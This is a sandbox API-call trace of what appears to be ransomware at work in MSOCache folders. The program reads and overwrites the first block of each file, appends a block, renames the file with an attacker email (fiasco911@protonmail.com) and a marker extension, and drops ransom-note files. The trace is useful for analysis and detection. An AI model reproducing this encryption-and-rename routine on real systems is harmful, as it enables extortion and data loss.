[0039.968] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0039.969] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0039.969] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0039.970] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0039.970] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
[0039.970] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0039.970] CloseHandle (hObject=0x10c) returned 1
[0039.970] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0039.970] GetProcessHeap () returned 0x2e0000
[0039.970] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0039.970] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1
[0039.970] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C") returned 66
[0039.970] GetProcessHeap () returned 0x2e0000
[0039.970] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0039.970] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*") returned 68
[0039.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0039.983] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.") returned 68
[0039.983] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0039.983] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0039.983] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0039.983] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..") returned 69
[0039.983] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0039.983] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0039.983] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1
[0039.983] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en") returned 75
[0039.984] GetProcessHeap () returned 0x2e0000
[0039.984] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0039.984] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*") returned 77
[0039.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x300570
[0039.984] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\.") returned 77
[0039.984] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0039.984] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\..") returned 78
[0039.984] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1
[0039.984] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 85
[0039.984] StrStrIW (lpFirst="Proof.cab", lpSrch="SDfghjkl") returned 0x0
[0039.984] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0040.002] GetProcessHeap () returned 0x2e0000
[0040.002] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x358790
[0040.002] ReadFile (in: hFile=0x110, lpBuffer=0x358790, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesRead=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0040.006] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0040.006] WriteFile (in: hFile=0x110, lpBuffer=0x358790*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesWritten=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0040.006] GetProcessHeap () returned 0x2e0000
[0040.006] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0040.006] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0040.007] WriteFile (in: hFile=0x110, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecee80*=0x100, lpOverlapped=0x0) returned 1
[0041.068] CloseHandle (hObject=0x110) returned 1
[0042.220] GetProcessHeap () returned 0x2e0000
[0042.220] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x358790
[0042.221] wnsprintfW (in: pszDest=0x358790, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0042.221] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0042.222] GetProcessHeap () returned 0x2e0000
[0042.222] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0042.222] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1
[0042.222] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 85
[0042.222] StrStrIW (lpFirst="Proof.msi", lpSrch="SDfghjkl") returned 0x0
[0042.222] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0042.223] GetProcessHeap () returned 0x2e0000
[0042.223] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x358790
[0042.223] ReadFile (in: hFile=0x110, lpBuffer=0x358790, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesRead=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0042.226] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0042.226] WriteFile (in: hFile=0x110, lpBuffer=0x358790*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesWritten=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0042.227] GetProcessHeap () returned 0x2e0000
[0042.227] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0042.227] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0042.227] WriteFile (in: hFile=0x110, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecee80*=0x100, lpOverlapped=0x0) returned 1
[0042.229] CloseHandle (hObject=0x110) returned 1
[0043.540] GetProcessHeap () returned 0x2e0000
[0043.540] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x358790
[0043.540] wnsprintfW (in: pszDest=0x358790, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0043.540] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0043.568] GetProcessHeap () returned 0x2e0000
[0043.568] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0043.568] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1
[0043.568] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 85
[0043.568] StrStrIW (lpFirst="Proof.xml", lpSrch="SDfghjkl") returned 0x0
[0043.568] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0043.568] GetProcessHeap () returned 0x2e0000
[0043.568] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x358790
[0043.568] ReadFile (in: hFile=0x110, lpBuffer=0x358790, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesRead=0xecee80*=0x543, lpOverlapped=0x0) returned 1
[0043.582] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xfffffabd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0043.582] WriteFile (in: hFile=0x110, lpBuffer=0x358790*, nNumberOfBytesToWrite=0x543, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesWritten=0xecee80*=0x543, lpOverlapped=0x0) returned 1
[0043.582] GetProcessHeap () returned 0x2e0000
[0043.583] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0043.583] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0043.583] WriteFile (in: hFile=0x110, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecee80*=0x100, lpOverlapped=0x0) returned 1
[0043.583] CloseHandle (hObject=0x110) returned 1
[0043.585] GetProcessHeap () returned 0x2e0000
[0043.585] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x358790
[0043.585] wnsprintfW (in: pszDest=0x358790, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0043.585] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0043.586] GetProcessHeap () returned 0x2e0000
[0043.586] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0043.586] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0
[0043.586] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Instructions with your files.txt") returned 108
[0043.586] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0043.586] WriteFile (in: hFile=0x110, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecee84*=0x54, lpOverlapped=0x0) returned 1
[0043.587] WriteFile (in: hFile=0x110, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecee84*=0x18, lpOverlapped=0x0) returned 1
[0043.587] WriteFile (in: hFile=0x110, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecee84*=0xc, lpOverlapped=0x0) returned 1
[0043.588] WriteFile (in: hFile=0x110, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecee84*=0x16, lpOverlapped=0x0) returned 1
[0043.588] WriteFile (in: hFile=0x110, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecee84*=0x23, lpOverlapped=0x0) returned 1
[0043.588] CloseHandle (hObject=0x110) returned 1
[0043.588] FindClose (in: hFindFile=0x300570 | out: hFindFile=0x300570) returned 1
[0043.588] GetProcessHeap () returned 0x2e0000
[0043.588] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0043.588] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1
[0043.588] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es") returned 75
[0043.588] GetProcessHeap () returned 0x2e0000
[0043.588] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0043.588] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*") returned 77
[0043.588] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x300570
[0043.589] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\.") returned 77
[0043.589] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0043.589] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\..") returned 78
[0043.589] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1
[0043.589] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 85
[0043.589] StrStrIW (lpFirst="Proof.cab", lpSrch="SDfghjkl") returned 0x0
